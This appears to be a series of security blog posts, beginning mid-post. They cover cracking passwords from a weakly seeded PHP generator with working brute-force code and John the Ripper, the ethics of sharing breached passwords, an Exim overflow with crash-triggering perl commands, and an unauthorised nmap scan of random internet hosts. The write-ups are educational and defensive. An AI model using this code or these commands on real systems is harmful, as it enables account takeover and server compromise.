The last point is somewhat interesting, but none of the reset schemes I found in applications used reset tokens so I'm not going to cover them.

Methodology

To do this research, I found a large repository of PHP projects, clicks on the "blogs" category, and downloaded a whole bunch of them. In the end, I had about 20 different applications. I didn't keep a list, but from memory, I found the following:

• 10 had no accounts, no passwords, or no ability to recover passwords
• 6 used a password-reset function that is somewhat weak and very common (and can be found on snippits sites) - the scheme that I'm covering this week
• 3 emailed back the passwords in plaintext
• 1 used a *really* bad reset scheme (that's the one I'm covering next post)

Motivation

Let's say you compromise a site (for a legitimate and ethical penetration test, of course). You wind up with 1,000,000 accounts from a database that happens to use this password generation technique (either for password resets or for generating initial passwords). Rather than wasting time cracking these passwords, you want to eliminate every "generated" password from the list. How can you do that?

Or another scenario: you realize that a company's corporate "password generator" toolbar utility is using this algorithm to generate "secure" passwords within a company. Knowing that some users are going to misuse this utility, and use the same "strong" passwords on multiple accounts, you compromise a weak host, crack a user's 14-character "random" password, then use that to log into their other systems.

How the heck do we crack a 14-character random password, you ask? Let's fine out!

The code

We're going to focus on the six or so sites that used a common password reset function. Here's the snippit:

<?php
  function generate_random_password($length)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    srand((double)microtime() * 1000000);

    $passwd = '';
    $chars_length = strlen($chars) - 1;

    for ($i = 0; $i < $length; $i++)
        $passwd .= substr($chars, (rand() % $chars_length), 1);

    return $passwd;
  }
?>

At first glance, this didn't look too bad. I was a little disappointed, to be honest. Using srand() in modern PHP versions isn't recommended, but it appears to be seeded with a high-resolution timer - that could make it difficult to guess. In theory.

If you were to generate a password with strong randomization and a decent length (say, 14 characters), even with a fast/weak hashing algorithm like md5 it'll be nearly impossible to crack. We need a better way!

I decided to look at how strong the seed passed to srand() actually was. To do this, I replaced srand() with echo():

<?php
  for($i = 0; $i < 3; $i++)
  {
    echo((double)microtime() * 1000000);
    echo "\n";
  }
?>

Then ran the application a few times to get an idea of how the seed worked:

$ php srand.php
155118
155198
155213
$ php srand.php
898454
898536
898552
$ php srand.php
673755
673844
673860

Hmm! It looks like the random seed is actually a fairly hard-to-guess integer between 0 and 1,000,000. Fortunately, 1,000,000 is a small number. Suddenly, this is a lot easier.

In my next blog, I'm going to look at how we can use commandline tools to do a bruteforce remotely and guess a password this way, but for now let's see how we can crack the passwords using two methods: php and john the ripper.

Cracking it with PHP

If for whatever reason you only have a single hash that you want to crack, this is by far the easiest way. I basically modified the original function (found above) to take an extra parameter - the hash - and to generate random passwords with different seeds until it finds one that matches. Here's the code:

<?php
  function generate_random_password($length, $hash)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    for($j = 0; $j < 1000000; $j++)
    {
      srand($j);

      $passwd = '';
      $chars_length = strlen($chars) - 1;

      for ($i = 0; $i < $length; $i++)
          $passwd .= substr($chars, (rand() % $chars_length), 1);

      if(md5($passwd) == $hash)
        return $passwd;
    }
  }
?>

Basically, we generate all million possible passwords and figure out which one it is. Easy!

I wrote a couple little test programs that basically just call those functions to confirm it works:

$ php password_reset.php 14
Generated a 14-character, random password: 4fx@xpxtuos6ee (md5: ef949c5bd59359a5403caafa95d3c5f9)
$ php password_reset.php 14
Generated a 14-character, random password: 95h76tio0vbuh4 (md5: 8ad7fa746f82d90bee2bc38783ad7981)
$ php password_reset.php 20
Generated a 20-character, random password: qnhbk95a8m2sqvwrzieb (md5: 1a902b5f425555446186f346a62c7a53)

Now normally, all three of these would be impossible to crack. Typically, a 14-character password, chosen from a set of 38 different characters, has 13,090,925,539,866,773,438,464 different possibilities. Fortunately, as we saw earlier, the rand() is seeded with only a million possible seeds, and a million is definitely bruteforceable!

We've already seen the function to crack the passwords, so let's try it out:

$ php ./password_reset_crack.php 14 ef949c5bd59359a5403caafa95d3c5f9
The password is: 4fx@xpxtuos6ee
$ php ./password_reset_crack.php 14 8ad7fa746f82d90bee2bc38783ad7981
The password is: 95h76tio0vbuh4
$ php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

And it isn't slow, either:

$ time php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

real    0m3.732s
user    0m3.709s
sys     0m0.005s

So basically, we cracked a 20-character "random" password in under 4 seconds, w00t! (or, to quote a new friend, "WOOP WOOP WOOP WOOP")

Cracking with john

Let's say that instead of three passwords, you have a thousand. In fact, let's generate a whole bunch! You can try it yourself, too. The file contains 5000 passwords in raw-md5 format (with a few duplicates thanks in part to the Birthday Paradox). We're going to use john the ripper 1.7.6 with the Jumbo patch to try cracking them. By default, john fails miserably:

$ ./john --format=raw-md5 ./14_character_hashes.txt
Loaded 5000 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
guesses: 0  time: 0:00:00:31 (3)  c/s: 20900M  trying: tenoeuf - tenoey5
Session aborted

Even at 20,000,000,000 checks/second, it's getting nothing. I can leave it all day and it will get nothing. These passwords are pretty much impossible to crack with brute force.

Now let's let john in on the secret and tell it the 1,000,000 possible passwords!

The first thing we do is write a quick php application to generate them:

<?php
  function generate_random_password($length)
  {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    for($j = 0; $j < 1000000; $j++)
    {
      srand($j);
      $passwd = '';
      $chars_length = strlen($chars) - 1;

      for ($i = 0; $i < $length; $i++)
          $passwd .= substr($chars, (rand() % $chars_length), 1);
      echo $passwd . "\n";
    }
  }

  generate_random_password($argv[1]);
?>

Then run it to prove it works:

$ php ./generate_plaintext.php 14 | head
!@fju@5qx7@s4r
!@fju@5qx7@s4r
we#hqgerz4@oro
2zyemt2h7caer2
rwm!2mdw4!yatk
tzd!nz@!njsyso
tgkzg60k!k!84p
jwnmnd4#eo8@!r
s@4cbh0ki7j@qz
avxgx#5qv0y2tw

And send its output into a file:

$ php ./generate_plaintext.php 14 > 14_character_plaintexts.txt

You can save some trouble and download it here if you want to follow along.

Then we send that file into john and watch the magic...

$ rm john.pot
$ ./john --stdin --format=raw-md5 14_character_hashes.txt < 14_character_plaintexts.txt
Loaded 4231 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
d3jg8b49vkh0qr   (?)
ikzryv@bf7!#o#   (?)
64z8r3x@bdgv4s   (?)
vzmh4beou7#n4s   (?)
vyh!2o7000j@8k   (?)
czdxguvc67fcfs   (?)
2fnvq4hf2ftms8   (?)
jqxouo#mxhnj5h   (?)
kabami3i@!ehgc   (?)
...
g@c840br06hje7   (?)
0@xg!6mx9npez4   (?)
ro6!t@pyahjq4v   (?)
cpqgc@g6h9hvks   (?)
ysf!t89543fv2u   (?)
guesses: 4231  time: 0:00:00:00  c/s: 2574M  trying: p2aiw#!s!7qho! - zhswbxxiho2e3u

As you can see, it loaded 4231 password hashes (there were less than 5000 due to collisions), and cracked them all. And it took 0 seconds. that's pretty darn good!

Conclusion

Now you've seen how we can very quickly crack a password generated with a bad algorithm. In my next blog, we'll see how we can crack one generated with an even worse algorithm, remotely!

Introduction

Anybody who follows my blog/work regularly know that I collect, crack, and disseminate password breaches. I have a wiki page devoted to breaches and dictionaries and I occasionally do talks on the subject. And if you follow me on Twitter, you'll see regular updates about password dictionaries.

The issue is, not everybody agrees with what I do (I was hoping to have more links in that sentence, but only two people actually said they thought it was wrong when I asked for comments on Twitter). Fortunately, many more people agreed that I was doing something good. So I take that as a small victory...

Anyway, this post is going to cover some of the pros and cons of what I do, and why I think that I'm doing the right thing, helping the world, etc.

Cons

#1: you're helping the bad guys
The issue I hear most often is that I'm making it easier for the bad guys, whether it's people trying to take over users' accounts or perform bruteforce attacks more efficiently. Now, keeping in mind that every security tool and piece of security research in some way helps both good guys and bad guys, this is why I'm comfortable that my work isn't benefiting bad guys in any significant way:

• The data I'm getting is *from* bad guys in the first place, which means that they already have it
• My data contains no personally identifiable information... more on that later
• The most common passwords are already known, and sites that use passwords like 'qwerty' on their admin account will be compromised anyways (and who would do something like that *coughdarrylcough*). The best thing I can do is raise awareness.

#2: you're actively harming people
This i largely covered by my response to the previous point, but I wanted to reiterate: I do my best to ensure nobody is harmed.

It's a well known fact that people use the same password in multiple places. If you have 100 accounts online that each require a 7+ character password (or 14+ characters if you want actual security), how are you supposed to remember them? Unique passwords for facebook, twitter, gmail, hotmail, gawker, every random forum you visit, and so on and so on. Without a password management tool, you're re-using passwords. This week I decided to bite the bullet and strengthen all my passwords. I have 14 accounts that I would consider "important", and that doesn't include my computers themselves, my PGP key, my SSH key, and so on and so on.

Now, the biggest danger in these password breaches is when somebody uses the same username/email address on a compromised site that they use on a more important site (their bank? Paypal? or, God forbid.... Facebook?) Attackers, armed with usernames and passwords, can wreak havoc on somebody's online life. I found a great story about the singles.org compromise, but unfortunately I can't find it again so this one will have to do. The basic idea is, after 4chan folks compromised singles.org's password database, they started using those passwords to log into Facebook, online banking, etc.

Another, more modern version of that is the suspected link between the Gawker compromise and Açaí berry spam. Though nothing has been proven, and just using that word is probably going to get me some spam, some people suspect a correlation between the attack and the spam. Matt Weir has tried to prove this link, but so far I believe his results have been inconclusive.

Now, what am I doing to protect people? Well, first and foremost, I don't release personally identifiable information. Ever. Most of the breaches I get contain usernames, email addresses, and sometimes more (in 3 or 4 cases, I've received entire dumps of databases!). And I don't release those. When people come to my site, they're getting aggregated password counts, which is pure statistical data, nothing more. (One thing I can't protect is people who use an email address as their password - you aren't fooling anybody!)

By making it easy to get the sanitized list of passwords, it's less likely people will look for, find, download, and distribute the full version - the version that, in my opinion, is far more dangerous.

Another point worth mentioning: I occasionally sit on lists for weeks or months to help minimize the potential damage they'll do to companies and their users. While I won't admit to sitting on any right now, I think it's important to judge whether or not a particular list can cause more harm than good if I release it, and to release it only when the amount of harm it can cause is minimized (that is, when we know the bad guys already have the list, so releasing it to the good guys doesn't matter anymore).

Pros

So, those are the only cons I can think of, though I have somewhat of a biased view. If you feel I missed something important, let me know and I'll do my best to respond!

Now, on to why I think I'm doing a *good* thing!

#1: you're spreading the message on good password hashing
When I do talks, I discuss the benefits of good password hashing. Unsalted md5, we can usually crack 90% plus of all passwords; salted md5, probably closer to 70%. If a site uses bcrypt or something similar as the primary means of storing their passwords (sorry, Gawker, but using bcrypt only helps you if you don't store a weaker type beside it), I'd bet we'd have trouble cracking more than 25% of all passwords.

To all Web developers: algorithms matter!

Let's look at it this way: say a site loses 5.3 million passwords: If those passwords are unsalted (raw-md5, as john the ripper calls it), then we hash our first guess, compare it 5.3 million times, hash our second guess, compare 5.3 million times, etc. That means that for each md5() operation we perform, we can check 5.3 million hashes. If those hashes were salted, we'd hash once, compare to the first hash, hash the same guess with the second salt, compare to the second hash, and so on 5.3 million times. That means that, with salting, one md5() operation gets us one comparison.

But what's that mean?

It means that unsalted passwords, in a list with 5.3 million passwords, will crack 5.3 million times as fast as salted passwords. I can average about 5,000,000 checks/second on my laptop against a single md5 hash, which means I can perform approximately 5,300,000 times that, or 26,500,000,000,000 checks/second against unsalted passwords.

To summarize:
Salted hashes: 5 million checks/second
Unsalted hashes 26.5 trillion checks/second

Taking it one step further, though - some algorithms, like WPA, bcrypt, and so on, are designed to be slow. Take bcrypt, for example - on my laptop, I can perform about 5 million checks/second for salted md5, and 17 checks/second for bcrypt. Compare 17 checks/second to the 26.5 trillion checks/second we saw earlier, against a large list, and the difference is astounding. Against the list of 5.3 million passwords, it would take us 86 hours to check each hash once. In other words, to guess '123456' for 5.3 million passwords, it would take over 3 days. Then guessing 'password' would take another 3 days, and so on. Basically, you could grow old and never crack more than a handful of passwords.

So, part of my goal is just that: teach people to use proper hashing algorithms!

#2: you're demonstrating why passwords are fundamentally flawed
But even with bcrypt, it isn't going to help us any if an attacker can go to the Web interface, type in an admin username (oh, let's say, 'darryl'), and try the top 10 passwords (let's say, 'qwerty') and have full access to the site. As long as passwords exist, people are going to choose stupid passwords and get compromised that way, no matter what kind of hashing, lockouts, etc are used. Additionally, people are going to install malware that logs their passwords, preventing the need from ever guessing them.

That's why passwords need to go away, or be enhanced. Somebody has to find a way to create ubiquitous two-factor authentication. That is, a second factor that can be safely used everywhere, and that's resistant to being stolen. I suspect it's a long way off, but it's something that I'll support when it starts becoming a reality.

#3: you're providing research data/analysis
Everybody loves having hard data for their research. In the past I found it excessively hard to do any kind of research on passwords because getting the various compromises into one place was nearly impossible. But now, thanks to my efforts, you can calculate some pretty cool data on password breaches.

#4: you're making password breaches less valuable
This is an interesting take on the issue that my friend had. Each breach that I mirror makes the breach itself, as well as other breaches, less valuable for a bad guy to have. It comes down to a supply and demand issue - if there's a large supply, it's unnecessary to get more. Therefore, people won't invest as much time, effort, or money into obtaining more breaches simply for their passwords.

#5: you're helping us heat our houses this winter
Every machine that's cracking passwords is also helping heat a house, feel free to thank me for it.

But when global warming comes for us, don't blame me!

Conclusion

Hopefully you have some idea, now, of why I do what I do. In my mind, there's absolutely nothing unethical about distributing breached passwords as aggregate statistics (without personally identifiable information) and it helps the community a great deal.

I'd love to hear comments from anybody who agrees or disagrees! My email is in the sidebar at the top-right, and the comments below allow anonymous posting (assuming you can do simple math :) ), so please let me know how you feel!

Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode!

First off, if you're concerned that you might have vulnerable hosts, I wrote a plugin for Nessus to help you find them (I'm not sure if it's in the ProfessionalFeed yet - if it isn't, it will be soon). There's no Nmap script yet, but my sources tell me that it's in progress (keep an eye on my Twitter account for updates on that).

The vulnerability

The vulnerability is actually a pretty old one. It was fixed two years ago (December of 2008). If you look at the patch, it doesn't tell you much. The obvious thing to do, then, is to download the code and try to break it! So let's do that...

The first step is to extract the source and compile it. My strategy was to keep running 'make' and fixing what it complained about until it shut up and compiled. Exim's compilation is annoying like that. You may have more luck reading the manual -- both good!

Once it's built, I decided to take a look at the patched function. It's called string_vformat() in src/string.c. It's very long, but here's the prototype:

BOOL string_vformat(uschar *buffer, int buflen, char *format, va_list ap);

Aha! buffer, buflen, format, and a va_list - it looks like sprintf() to me! Looking one function up, where it's called from, we find string_format(), which is basically a wrapper around string_vformat():

BOOL string_format(uschar *buffer, int buflen, char *format, ...)

Based on the patch and the nature of the function, it was obviously the %s format specifier that was being changed, and it seemed to have something to do with the bounds checking. Rather than reading/understanding all that complicated code, I decided to send stuff into that function and see if I could get it to write off its own buffer. Simple, eh?

So here's the first test I wrote (I took the lazy approach and replaced the real main() function in exim.c with this) (I swear this is the first thing I tried.. I must be lucky or something!):

int main(int argc, char *argv[])
{
    char buffer[16];
    int i, j;

    for(i = 1; i < 8; i++)
    {
        memset(buffer, 0, 16);
        string_format(buffer, i, "TEST%s",
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for(j = 0; j < 16; j++)
            printf("%02x ", buffer[j]);
        printf("\n");
    }
    return 0;
}

Simple enough! We start by setting the buffer length to 1, which should produce an empty string (since the string is terminated with a NULL byte '\x00'). Then we should see 'T', then 'TE', 'TES', etc. Here's what the result is:

$ make
[...]
$ build-Linux-x86_64/exim
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 41 41 41 41 41 41 41 41 41 41 41
54 45 53 54 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 00 00 00 00 00 00 00 00 00 00 00
Segmentation fault

Woah, what have we here? When the max length is set to 5, all hell breaks loose! It even manages to segfault my test program (thanks, obviously, to a stack overflow). A quick check shows us that the '%s' is exactly 5 characters into the string, which just happens to be 'buflen'. Testing with other strings will prove that if '%s' is at the index of 'buflen', 'buflen' is ignored and the string will be written right off the end of the buffer into whatever happens to be next.

Now, that leads to the obvious question: where can we find a case where we can control 'buflen' to ensure that '%s' ends up in exactly the right place? That's a rare condition indeed! And this is where I got a little stuck. To help track it down, I added some output to string_vformat() that displays the format string, buflen, and the output every time it runs. Then I did some normal transactions and looked at the output. Here's how (remove the newlines to test this yourself.. I only have so much horizontal room to work with):

echo -ne 'EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n
    This is some data!\r\n.\r\n' | sudo ./exim -bs

This builds an SMTP request with echo and sends it to the exim binary. 'exim -bs' is how exim is run when it's used as inetd, which means it's expecting network traffic to come in stdin. Here are the strings that came into string_vformat():

string_vformat: [250] 'initializing' => initializing
string_vformat: [48] '%s' => root
string_vformat: [128] '%s' => /root
string_vformat: [128] '%s' =>
string_vformat: [128] '%s' => /bin/bash
string_vformat: [250] 'accepting a local %sSMTP message from <%s>' =>
accepting a local SMTP message from 
string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [32768] '%s/log/%%slog' => /var/spool/exim/log/%slog
string_vformat: [8171] '%s' => SMTP connection from root
string_vformat: [16384] '%s' => 220 ankh ESMTP Exim 4.69
Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%.3s %s Hello %s%s%s' => 250 ankh Hello root at domain
string_vformat: [16384] '250 OK
' => 250 OK

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_rcpt"
string_vformat: [16384] '250 Accepted
' => 250 Accepted

string_vformat: [16384] '354 Enter message, ending with "." on a line by itself
' => 354 Enter message, ending with "." on a line by itself

string_vformat: [208] ' id=%s' =>  id=1PSggK-0002bd-0P
string_vformat: [32768] '%sMessage-Id: <%s%s%s@%s>
' => Message-Id: 

string_vformat: [32768] '%sFrom: %s%s%s%s
' => From: test@test.com

string_vformat: [32768] '%sDate: %s
' => Date: Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%s; %s
' => Received: from root (helo=domain)
        by ankh with local-esmtp (Exim 4.69)
        (envelope-from )
        id 1PSggK-0002bd-0P
        for test@localhost; Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_data"
string_vformat: [8154] '%s' => <= test@test.com U=root P=local-esmtp S=294
string_vformat: [256] '/var/spool/exim/log/%slog' => /var/spool/exim/log/mainlog
string_vformat: [16384] '250 OK id=%s
' => 250 OK id=1PSggK-0002bd-0P

string_vformat: [128] '%s lost input connection' => ankh lost input connection
string_vformat: [16384] '%s %s
' => 421 ankh lost input connection

string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [8171] '%s lost%s' => SMTP connection from root lost

Looking down that list, none of those are obvious places where we can control the length of the format string. Damn! I tried a bunch of other variations without any luck. Things weren't looking good.. I was stuck!

Fortunately, the original post had a mostly complete packet dump. After playing for awhile, I finally figured out that sending a bunch of DATA headers, plus the 50mb of garbage, did something interesting! Here's the command I used (again, remove the linebreaks to try this):

$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x100 .
    "This is more data!\r\n"x5000000 . "\r\n.\r\n"' | ./exim -bs

And here's how the log looked:

string_vformat: [8018] '%c %s' =>   This: is some data
string_vformat: [7997] '%c %s' =>   This: is some data
string_vformat: [7976] '%c %s' =>   This: is some data
string_vformat: [7955] '%c %s' =>   This: is some data
string_vformat: [7934] '%c %s' =>   This: is some data
string_vformat: [7913] '%c %s' =>   This: is some data
string_vformat: [7892] '%c %s' =>   This: is some data
.....down to 0

Great, this looks good! ... but why does it work?

Well, it turns out that if a message is rejected (because, for example, it's too large), the headers for the message are logged in a buffer, one at a time. When each one is logged, the buffer is shortened, which means by tweaking the length of the headers we can control the 'buflen' field. Since the format specifier '%s' is at the third character in the string, we want to end up with three bytes left then add a huge string to the buffer that overwrites the heap.

So now, we do a whole lot of complicated math and a ton of patience, we whittle the buffer to three bytes, then overflow the crap out of it:

$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x381 .
    "Final: AAAA\r\nBoom: " . "A"x50000 . "This is more data!\r\n"x5000000 .
    "\r\n.\r\n"' | ./exim -bs
220 ankh ESMTP Exim 4.69 Tue, 14 Dec 2010 20:19:10 -0600
250-ankh Hello ron at domain
250-SIZE 52428800
250-PIPELINING
250 HELP
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
Segmentation fault

Bodabing! Overflow successful.

The hard part is getting all the sizes, headers, etc just right. The easy part is turning this into code execution -- take a look at Metasploit to find out that part.

Who's vulnerable?

Any 4.6x version of Exim is potentially vulnerable, and possibly earlier versions too. The problem is, different versions may have different logging formats, which means the carefully selected count we did to overflow the buffer isn't going to cut it. So in reality, 4.69-debian is highly vulnerable, because that's what Metasploit and Nessus target; other versions may be as well.

So that naturally leads to the question - how many people are running Exim 4.69? Well, my friend bob, always the troublemaker, decided to scan 600,000 hosts on port 25 to see what's running. I don't recommend following in his footsteps, but this is the command he used:

$ sudo ./nmap -n -d --log-errors -PS25 -p25 --open -sV -T5 -iR 600000
    -oA output/smtp-versions

Here are the top 10 versions returned (I removed the versions that Nmap didn't recognize), along with their associated counts:

    240 25/tcp open  smtp    syn-ack Postfix smtpd
    206 25/tcp open  smtp    syn-ack Exim smtpd 4.69
     96 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.4675
     78 25/tcp open  smtp    syn-ack qmail smtpd
     77 25/tcp open  smtp    syn-ack netqmail smtpd 1.04
     40 25/tcp open  smtp    syn-ack BorderWare firewall smtpd
     22 25/tcp open  smtp    syn-ack Microsoft ESMTP
     21 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
     19 25/tcp open  smtp    syn-ack Cisco PIX sanitized smtpd
     18 25/tcp open  smtp    syn-ack Sendmail 8.13.8/8.13.8

Based on those numbers, I think it's safe to say that Exim smtpd 4.69 is the second most popular SMTP server in the universe. Here's a complete listing. I considered posting the full Nmap log, but I was worried that one of the servers' owners might notice and be upset at Bob. And I don't want to make any extra trouble for him!

Conclusion

The conclusion to this is simple: To all those people running vulnerable (or potentially vulnerable) versions of exim: patch! Patch now! This is an incredibly easy exploit to pull off, and there are public versions everywhere. Protect yourself!

And if you don't have a Nessus ProfessionalFeed, get one and you can test your network right now!

Before I talk about the fun part, where I completely faked out my demo, if you want the slides you can grab them here:
http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/. You can find more info about the conference and people's slides at the official site. And finally, here's a picture of me trying to look casual.

B-sides conferences, for those of you who don't know, are awesome little conferences that often (but not always) piggyback on other conferences. They are free (or cheap), run by volunteers, and have raw and technical talks. B-sides Ottawa was no exception, and I'm thrilled I had the chance to not only see it, but take part in it. I really hope to run our own B-sides Winnipeg next year!

Anyway, my talk was on the Nmap Scripting Engine. I wrote a talk and a couple demoes, both of which are available at the above link. My plan was to do two live demoes, coded on stage, with no safety net. Pre-recording demoes is cheating! The demoes were the following:

• Perform a DNS lookup and scan a host's mailservers
• Look up the router's MAC address in a geolocation service and show the google map

I practiced them over and over, and they were looking great, so I showed up at B-sides ready to go!

Then I found out I had no Internet connection.

Crap!

So, that night I had a lot of work to do, re-writing my entire talk to work with no Internet connection. As a natural procrastinator, I ended up hanging out with people until the middle of the night, so when I finally made it back to the hotel I couldn't do anything. So, four hours later, first thing in the morning, I got to work.

Problem 1: DNS

So the first problem was that I had to perform DNS queries, both for MX and A records. I briefly considered using a shellscript and netcat to do this, but I'm not *that* crazy. Instead, I made some minor changes to dnsxss to return a few fake mailservers for MX queries.

The default behaviour of dnsxss returns 127.0.0.1 for all A queries, and that's exactly what I wanted.

Finally, I set the DNS server of my laptop to 127.0.0.1. Now, no matter what I requested, the right results came back. Problem solved!

Problem 2: No mail servers!

The next problem I ran into is that I wanted to scan a mailserver. That was a simple matter of installing a SMTP server and making sure it ran on startup. Another option would have been faking it with netcat and a static response.

With those two problems solved, I had a workable first demo! On to the second...

Problem 3: No MAC address

My second script was supposed to look up a MAC address's geolocation information, but what can I do without a MAC address? The easy way would have been to hardcode a MAC into the script, but that's cheating. Nmap doesn't return the MAC address for the loopback address, so I had to find a better way to cheat than simply redirecting DNS.

There's probably a far better way to do this, but I decided to simply set one of my VMWare instances to auto-start on boot. I could then scan it as if I was scanning my router with no one the wiser. Of course, its MAC address isn't going to be in the geolocation database, but that's okay because....

Problem 4: Geolocation

To use Google's geolocation service, you obviously need to connect to Google (specifically, www.google.com/loc/json). Requests to www.google.com were already heading to localhost, thanks to my fake DNS server, so this was pretty easy. I created a valid JSON request that appeared to go to Google, and that appeared to have the proper MAC address embedded in it. Of course, it wasn't really going to Google, and it wasn't really the wireless MAC address. But because my Web server running on localhost always returned the proper coordinates, that didn't matter very much.

As a bonus, if I fudged up the MAC address encoding in any way, it wouldn't matter because it was returning a static page.

Problem 5: Google maps

The grand finale was going to be when I copied/pasted the latitude and longitude into Google Maps and our current location popped up. Obviously, that couldn't happen. But, my fake DNS server, along with a screenshot of Google Maps, looked surprisingly realistic.

One little point - because I wanted the URL http://maps.google.ca/maps?q=... to work, I had to add a content-type override to a .htaccess file. Not very exciting, but eh?

Done!

The week following B-sides Ottawa, I had the privilege to speak at DeepSec in Vienna, Austria (I spoke on password breaches, in case you're curious). Later that week, I was asked to do a short talk for Metalab, an Austrian hackerspace. I pulled out this talk again, without my cobbled together infrastructure, and wrote the scripts on stage. This time I had an Internet connection and guess what? They worked the first time! Sven Guckes also posted pictures of me getting ready and speaking.

And there! I *finally* posted this! See you all at Shmoocon later this week!

This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more.

http-enum.nse

I couldn't resist throwing in the full history of http-enum.nse, because I'm chatty like that. If you want to get to the good stuff, go ahead and skip to the next section.

Like most of my projects, I was inspired to work on this after I went to a conference and got some cool ideas. This one happened to be Defcon 17, and the catalyst was Kevin Johnson's talk on Yokoso. Basically, it had a list of known files, whether images or css files or anything else, and it would check if they exist in a browser's history to see if the person had been there. This was a great starting point for http-enum, so after getting Kevin's permission to use the Yokoso database, we intetegrated it and vastly improved http-enum.nse.

That was over a year ago, and just wasn't as powerful as it could be. So, finally, I decide a re-write was in order.

The logical choice for the file format seemed to be what Nikto uses. After all, we're basically implementing Nikto as an Nmap script, so why not make things inter-operable? I wrote the code, and it worked great, but I discussed the concept with Patrik from cqure.net and we quickly decided that even the Nikto format lacked the power we really wanted.

My final attempt, which I just committed to Nmap's subversion repository this week, was inspired by my success using a .lua file for my psexec configuration file. Instead of some random file format I invented, it uses a .lua file to build a table of fingerprints. You can take a look at the current version of the fingerprint file in Nmap's Web SVN. You'll see that it basically builds a table of fingerprints, each of which is in a well defined format.

Running http-enum.nse

Running http-enum.nse is pretty straight forward, since it's no different from any other script, so go ahead and skip this section if it's old news.

To use http-enum.nse, simply install the latest version of Nmap from SVN and run it:

svn co --username='guest' --password='' svn://svn.insecure.org/nmap ./nmap-svn
cd nmap-svn
./configure && make && make install
nmap --script=http-enum -p80 -d -n www.javaop.com

(www.javaop.com is my site, and is designed to come back with interesting results, so you're welcome to scan it)

http-fingerprints.lua

Each fingerprint can have multiple probes, each containing a path and a method (GET/POST/etc). We may extend this in the future to include more options, like postdata, http headers, etc, if the need arises. The nice thing about Lua tables is that it's completely extensible.

Every fingerprint also contains a match list, which defines the output and, optionally, one or more strings to match. Like Nmap's version check, this can capture portions of the match by including it in parenthesis ('()') and output them using "\1", "\2", etc.

There are other options, too, and you can find them by reading the header document of the http-fingerprints.lua file. The file should have more than enough information and examples to start building your own probes right now.

And, speaking of building your own probes...

A call to arms!

So, this is a powerful format. But, the entire http-fingerprints.lua file, as it stands, was based on static probes, so there are very few cases where it gets really interesting data. I no longer work for a place with a large network, so the best thing I can do my friend Bob can do is scan the Internet at random looking for interesting stuff. And while that's fun, it takes a long time and can upset certain organizations.

I'm hoping the community will help Nmap grow its fingerprint database. You can do this in many ways!

• Go to your major/interesting Web applications at work. Find the main page, or any unauthenticated page. Save the .html and send it, along with the path(s) where it's typically found, to me.
• Go to those applications, and write your own fingerprints. If possible, extract a version number. Send it to me.
• Go through the fingerprints I already have and see if you can improve the match. The current set of fingerprints were written before it was possible to extract versions, match text, etc.
• Go through the long list of "Potentially interesting directory" fingerprints at the end of http-fingerprints.lua and nominate ones that should be deleted or promoted to their own fingerprint.

My email is ron-at-skullsecurity.net. Or you can post it as a comment here, tweet me, etc. All my contact info is at the top right.

As you can see, there is a lot that needs to be done, but if we can make this a community effort, and everybody who reads this picks one enterprise application they use and submit a fingerprint for it, we can do some awesome stuff!

My fingerprint database is just over 1000 now.. let's see if we can double that!

It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :)

So, what's new with me?

I'm working on some cool new Nmap stuff right now, so I'm hoping to write about that in the next couple months. Web application fingerprinting isn't something I've seen done much, but I'm hoping Nmap can make some good progress on it with the help of Yokoso, Nikto, and some other resources.

About a month ago, I started working for Tenable Network Security. My job is primarily research and reverse engineering, so I've been posting little tidbits to my Twitter account. My official title is "vulnerability research engineer", which is really cool, and they're paying me to speak at a couple conferences, which is exciting. I used to have to take vacation to go to conferences!

I've also worked on a number of cool plugins at Tenable, including remote checks for ms10-070 and ms10-075. I may start writing more about my Tenable experiences here!

B-sides Ottawa

I'm going to be speaking at B-sides Ottawa on November 13. If any of you are in the area, please come by! I'll be discussing the Nmap Scripting Engine, and showing everybody how easy it is to write their own scripts. This will be my first time to Ottawa, and I have 3-4 days after the conference to hang out, so I'd love to get a tour of the city from somebody local!

Deepsec (Vienna)

Two weeks later, I'm heading to Vienna, Austria, to speak at Deepsec! The talk is on November 26 and will be about password breaches/attacks, and it will be my first time in Europe. I can't wait!

